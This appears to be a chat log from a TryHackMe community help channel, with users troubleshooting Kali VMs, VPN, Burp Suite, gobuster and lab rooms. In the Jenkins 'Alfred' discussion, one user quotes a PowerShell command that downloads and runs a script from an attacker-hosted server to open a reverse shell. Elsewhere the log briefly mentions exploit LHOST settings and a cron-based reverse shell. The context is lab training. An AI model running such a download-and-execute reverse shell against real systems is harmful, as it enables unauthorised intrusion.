brisk steeple
does anyone know why my kali box only allows me to type in capital letters unless if i hold shift
barren birch
You have CAPS lock on
barren birch
Looks like that might actually be a VMware problem -- or so the initial Googling tells me
Does it happen in any of your other VMs?
brisk steeple
i do not have any other VM's
barren birch
Might be worth making another Kali machine and seeing if that fixes it?
eager fulcrum
Use the ISO not the OVA
brisk steeple
can i get a link pls
brisk steeple
why an ISO
brisk steeple
i am using VMware
barren birch
ISO lets you install it manually, rather than using the one that's been premade
brisk steeple
ok
eager fulcrum
The OVAs have issues
brisk steeple
ok
barren birch
Sounds like James might have seen this before, and honestly, that sounds really likely
The OVAs are, uh...

I tried to regenerate my config about 4 times but it remains the same error

Have you tried switching server and regennerating @pine linden?

nop I gonna try now
the EU-VIP-1 continues with the same error but the EU-Regular-2 works fine

how can i out the iso file in VMware pro
eager fulcrum
@brisk steeple Do some research on how to create a virtual machine
nimble trail
Hate to be a squeaky wheel, but is there any update on brainstorm or brainpan1?
nimble trail
graphic install
brisk steeple
ok
nimble trail
then you can use the mouse 😄
nimble trail
can be easier for people that are unfamiliar with the process
no update on the brainstorm or brainpan1 rooms, I guess. suppose i'll be sitting at 98% completion on the offsec path for a while longer. All well, other rooms to complete while we wait for it to be fixed.
nimble trail
up to you. if you already have some sort of domain implented in your network, use that.
eager fulcrum
If you don't know what it is, you can leave it blank
barren birch
Just leaving it blank is usually easiest
eager fulcrum
The default.
barren birch
Is this a VM?
barren birch
Then it will install on whatever virtual hard drive you gave it
naive dust
how long does it usually take for a machine to become accessible? the past few machines i have started have started up within 3 minutes, but this one has taken over 5
barren birch
It won't overwrite the main disk
eager fulcrum
How are you checking if it's accessible?
barren birch
@naive dust depends on the box
naive dust
ok
brisk steeple
@eager fulcrum me
eager fulcrum
@brisk steeple no, you didn't ask about anything to do with accessible
naive dust
but i mean
i was just able to start this box within 3 min
eager fulcrum
@naive dust What box?
brisk steeple
ok
naive dust

@barren birch You're up

barren birch
Show me what happens when you type ps aux | grep openvpn?
naive dust
i have reconnected
barren birch
I really look forward to being able to just give people that script...
Actually, sod it. Where is that script
barren birch
That output looks right anyway
naive dust
yeah
barren birch
Hm, yeah, try redeploying
It's just SSH, NFS and Apache. Shouldn't be anything breaking there
barren birch
Again, if you don't know what it does, best not to meddle
barren birch
There will also be videos on this, by the way 🙂

is there some issue with https://tryhackme.com/room/basicpentestingjt? i cannot ping it and nmap does not see it as up.
sharp bear
How long have you given it to boot
nimble trail
ah Can get website in browser (sometimes), no ping, no nmap. OVPN restarted multiple times even fresh kali install
sharp bear
also it’s a windows machine so it doesn’t respond to pings you need to use the -Pn switch
nimble trail
see the known issue note on the room.
sharp bear
I just looked what
eager fulcrum
sharp bear
oops sorry bout that
nimble trail
although the note mentions it work in the browser sometimes. i've not gotten it to load yet.
eager fulcrum
Port 80 should be open
But it might not ping
If you can't connect/interact, check your VPN
!multivpn
sharp bisonBOT
TryHackMe
nimble trail
I will try another room. VPN has never been an issue here 😉
TIL kali doesn't like having it's session saved.
eager fulcrum
Yeah the VPN doesn't like it
Also if you close the terminal it doesn't stop the VPN sometimes
Suspending the VM with the VPN running does work though.
nimble trail
Guess I won't do that again 😅 . Well tbf, I had killed off the previous session, restarted it and tried the same process a few times before posting. If I had to guess it's something kali's network stack didn't like about my saving it's state for whatever reason.
getting open services and all now, good stuff. cheers.

There's a US server

Everything else on my kali linux machine is stupid fast, except ssh into this machine

No idea what it could be then

hi peeps
I'm trying to instar Kali in a VM but I keep getting sha1 mismatches?
well, sha256 in this case
any clues what could be causing this? I tried installing twice and I think both times were different files afair

it's an install disk so it shouldn't be downloading anything; plus the sha256 for the iso matches the website

Hello, I'm having issues with mrrobot's webserver. I have been stuck on this since yesterday. I deploy the machine and it will sometimes be able to display on the browser but most of the time not.
I am connected using openvpn.
Pinging works.
NMAP thinks its down: Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 4.06 seconds
Overall I am finding the box very unstable and can't fix it by redeploying (I've tried 5+ times). Everyone in my room is stuck on same level (all tasks prior to deploying). Is there an issue with the box ?

Could it be a problem with my internet connection instead of the box ?

Hey guys, it seems that "Alfred" Jenkins is not working fine. I been trying for days the command you guys give (And the ones used in walktrhougs) and it´s not working. I got this error if I see the logs
toxic python
that seems like a syntax error?
naive dust
Yes, and I did a C/P from the webpage.
Only though, changing IP and Port
So neither the official question help and walkthroughs help.
Question says this:
Find a feature of the tool that allows you to execute commands on the underlying system. When you find this feature, you can use this command to get the reverse shell on your machine and then run it: powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port
You first need to download the Powershell script, and make it available for the server to download. You can do this by creating a http server with python: python3 -m http.server
But when doing that you get the sintax error and no matter how you modify the expression it doesn't work. I believe it could be patched
naive dust
I did not
eager fulcrum
head Invoke-PowershellTcp.ps1 and show the output here
naive dust
The script was dowloaded fine and has the same name and I get a 200 from the Simple
feral dock
You downloaded it incorrectly.
eager fulcrum
Please run the command and show the output

There's no & in it, so you're doing something wrong if you're getting an error complaining about an &

hmm, the room seems to have vanished anyway, think something must have changed while I was writing up the tasks etc so looks like I am re-uploading anyway 😄

@subtle terrace What's the room?
subtle terrace
it was https://tryhackme.com/room/testroomgg (which had the vm running) but I renamed it to https://tryhackme.com/room/mssqlssrs not realising that would kill the instance I had running 😦
actually the VM is still running, I still have my shell in kali
I just broke the old room 😄

It will do until the hour since deploying passes
barren birch
@subtle terrace I've got into it 🤷♂️
zealous yoke
if you visit the new room code it should be re-deployable
subtle terrace
yeah but that will be the VM before I added the flags, which is why I was hoping someone could clone it 🙂
barren birch
Why did you upload without flags?...
subtle terrace
Skidy might do it before it expires, if not I'll just do it locally and reupload it
I just wanted to make sure everything was working before I carried on as I've never done it before, next time I'll get it all ready

@subtle terrace if you want a VM updated let me know:)

So, regarding the password thing, I think you can do something via a terminal?
toxic python
Try Username: kali password: kali

Try the login root password toor.

And that^

Neither work
naive dust
When you installed it should have give you the option to configure a username and password - did you not do this?
wheat cove
I think I just messed up on the password, i'll reinstall tomorrow it'll be easier don't you think?
naive dust
Well your username will be whatever you choose during installation - have you tried doing variations on the password you put - like changing the odd letter?
wheat cove
tbh it was a vm i can just reinstall it no problem

If you think you have the time to reinstall then go for it but I'd say keep trying first.
Fair play.

is it effective ? does it have any drivers problem if i run it on usb stick ?
sorry for asking too much
tranquil vapor
myra what connectivity issues are you having with virtualbox?
noble onyx
havent really tried it
since its virtual, i was assuming that the connection is virtual too
like there's no going outside
tranquil vapor
no it will connect to the internet, vpn, etc just like a normal machine
noble onyx
oh
tranquil vapor
or it can be setup so it never connects to the outside world, depends on how you want to configure it....
tranquil vapor
anytime, happy hacking! glad I could help
eager fulcrum
@noble onyx you'll need to run the VPN on the kali VM. Other than that it's really easy
noble onyx
okay thanks @eager fulcrum !

Hey all, I am trying to set up burp suite on my VMmachine following the "learnburp" room, however once I have imported the certificate into firefox, it will not load any HTTPS servers, any help would be great! CHeers

You need to forward the requests when you have intercept on

doing the vulnversity room, nmap says 2 hours left. is it usually this slow?

I can't get past this in the Windows Priv Esc room... is there some trick?

I addressed the comments in the room I created and resubmitted it. I don't think I can reply to the comments though to discuss what I changed etc - I went through it again without any issues though, whoever wrote the comments feel free to DM me to discuss any specific issues.

@subtle terrace which room is this for?

Just saw the room

All good, we'll take a look here in a bit

I’m having troubles accessing https websites with my proxy even though I have a burp suite certificate, could anybody help me out?

what happens when you try?

I will click on the link and it will just sit there loading
rigid oxide
intercept is likely on
subtle terrace
is burp intercepting?
alpine barn
Yes
rigid oxide
Disable intercept and it'll fix it
subtle terrace

So then will burp be intercepting https?

Ah ok, thank you very much

Why the streak is not showing the time remaining for reset?
Earlier i was able to see it. You guys made some changes?
subtle terrace
@nimble trail what room are you doing, is it Windows PrivEsc Arena ?
nimble trail
yes
subtle terrace
I'll do it and let you know if I get the same
nimble trail
@tawdry hollow I see what you mean, I am not able to get the "answer a question within XXh" anymore, even after a refresh
carmine pumice
keep getting a timeout error when using gobuster. openvpn is working, internet is working
subtle terrace
wget the page, is it working? @carmine pumice
eager fulcrum
@tawdry hollow it shows with 12 hours remaining
carmine pumice
@subtle terrace trying now but stuck on connecting so i would assume it isn't
nevermind, wget timeout, retried and now it's all good
thank you
subtle terrace
cool
carmine pumice
stopped working now hahah
found a few directories and now its just giving me timeout errors over and over
subtle terrace
@nimble trail it's the same for me, but the admin account works. Login and change it so it doesn't need resetting.
nimble trail
ah, got it. I will give it a shot, thank you @subtle terrace 🙂 🙂
subtle terrace
@carmine pumice not sure if that's normal, like if the folder doesn't exist does it say it times out? I haven't used it much to remember, just a guess
carmine pumice
i'm new to this so i dont really know what's going on honestly, this is my first time using it
'http: request cancelled while waiting for connection'
subtle terrace
which one were you using, gobuster?
carmine pumice
yeah
subtle terrace
which room are you in?
carmine pumice
nmap was taking forever earlier too, but my connection seems stable. speed test looks good
vulnversity
subtle terrace
I'll give it a try
carmine pumice
i've tried restarting the machine, switched to ethernet connection, new openvpn file
subtle terrace
what version of gobuster is it?
it seems some sort of connection issue, I am running it and not got any time outs yet
carmine pumice
same version
subtle terrace
it finished, no errors though
carmine pumice
try switching openvpn from west coast to EU?
subtle terrace
I am eu, give it a try if you like
subtle terrace
what's your room IP, want me to gobuster it and see if I get timeouts?
carmine pumice
10.10.83.141
subtle terrace
nah, seems fine for me. Sorry dude 😄
carmine pumice
so weird, my internet isn't slow so idk what it could be
subtle terrace
is this the first thing your trying, like what is your setup. virtual box or local machine etc?
carmine pumice
i tried it local on my laptop now im running it in a vm on my pc
subtle terrace
I had connection issues when I had the VPN on my VM and on my local, so that might be something to keep in mind
open it on one or the other but never both
carmine pumice
ooh i did just have them both going
eager fulcrum
Yeah you can't do that
carmine pumice
ill retry
carmine pumice
still timing out
eager fulcrum
Reconnect
subtle terrace
there is a site on the address too, so before running gobuster just hit the url and make sure you see a page http://10.10.83.141:3333
carmine pumice
tried that and now it's timing out again
i can see the page if i go in my browser
subtle terrace
hmm maybe ditch the -t flag then - is this on the VM? my gobuster is running locally so CPU wise it has all the power of my laptop, not sure if it would struggle from a VM
i'll try it
carmine pumice
now it's working again. i wonder if my connection is just briefly dropping randomly
subtle terrace
maybe, it's fine for me inside my vm and from my laptop
carmine pumice
yeah now it's moving along fine no timing out at all
subtle terrace
cool, I am off for a bit anyway, good luck

void bramble
Hello, i've been having an issue with deploying a kali machine (im subbed btw). It would say that i dont have permission to access and then log me out of my kali machine.
Its weird tho because sometimes it disconnects me and other times it keeps me connected??
barren birch
Can you screenshot?
hardy shell
void bramble
the box is initialising 1 minute
@barren birch it's just logged me in
but the problem is that half way it will disconnect me?
barren birch
When it does, grab a screenshot?
Is it a white background with the THM logo and a login thing?
void bramble
no its like a red box saying i got disconnected
void bramble
any ideas why?
barren birch
That can, I believe, be from a bad connection, although it's not one I'm intimately familiar with
If it happens again, @ Skidy (if he's still up)
He can take a look
void bramble
ok if it happens at any other point today or tomorrow should i at him and you or just him or just you?
barren birch
Probably best just posting it (with a screenshot) in here without pinging anyone -- if one of the mods or mentors sees it and can give an easy fix they will send Skidy a message
void bramble
ok will do
eager fulcrum
@hardy shell Your LHOST is wrong
hardy shell
@eager fulcrum I am running parrot inside a docker container with openvpn running on the host, I have been able to successfully exploit 1 time before but never again, I have tried to manually exploit the machine wth AutoBlue but get a INVALID_PARAMETER error. I can do every other box I have tried, but this one seems to be problematic. I manually set the lhosts option and I am still getting the same error
eager fulcrum
There's your problem
Don't use docker
It just leads to issues here
Your LHOST is still incorrect
The LHOST is the address the target will reach out to
As well as what you're listening on
hardy shell
yes I use the IP from ip -a, wierd consifering it works everywhere else, just not here
eager fulcrum
It's a reverse shell thing

I also tried a bin shell with the same results

@barren birch Actually, the opposite
They need to enable virtualisation to get 64bit VMs

Ooh, that is interesting. Good to know, thanks James

@barren birch Vmware/virtualbox without vt enabled is 32bit only. It happens a lot here

@barren birch I'm sorry to bother again but I don't see ZAP in my machine

It's not installed by default on Kali
I'm in the process of building a machine to replace the Kali browser, which is why Skidy pinged me
But currently it's still just the default Kali

Ok I understand ty
raven sapphire
again about the problem above, is it possible that the cron which tries to spawn a reverse shell every minute count as DOS attack? i mean it was only between the two ips i deployed, but maybe? i just dont want to run in this error again
vapid dawn
@raven sapphire were you scanning anything on other instances
raven sapphire
no
vapid dawn
we got the details from our infrastructure provider
raven sapphire
was it 10.10.10.10 on 4444?
@vapid dawn
bcse this is the default ip from the room and i maybe accidently copied it in the payload
task 8
eager fulcrum
It would have been to other addresses, outside of THM's stuff
carmine pumice
on the linux privilege escalation room, how do i save LinEnum to my computer from git?
eager fulcrum
raven sapphire
@eager fulcrum ok thanks.. really strange.. i only work with vpn, kali and private ip spaces in the rooms

@vapid dawn would be super if you can send me a timestamp from the claim, so i can narrow down what i did at this time

I’m currently in the Linux walkthrough room and it asks me to make a user file by doing ‘ touch $USER ‘ however whenever I do this I am getting a permission denied. I tried to do chmod +x $USER but it’s saying that there is no such file or directory. Any help will be appreciated
eager fulcrum
It doesn't ask you to do that
alpine barn
It does on task 18 I thought
eager fulcrum
It doesn't tell you to do that
Also, if you can't create the file, why would making a non existant file executable help?
alpine barn
I don’t know, I’ve been googling for a while and it keeps saying to do chmod +x when you get a permission denied. I’m just trying to give you all the information I can
eager fulcrum
You need to work out why you're getting permission denied
You're getting permission denied because you're not allowed to create a file in that location
You're probably logged in as shiba2 but still in /home/shiba1
And you don't want to do anything with files called $USER
Otherwise you will break the challenge

You are correct I was logged in as shiba2 but in home/shiba1
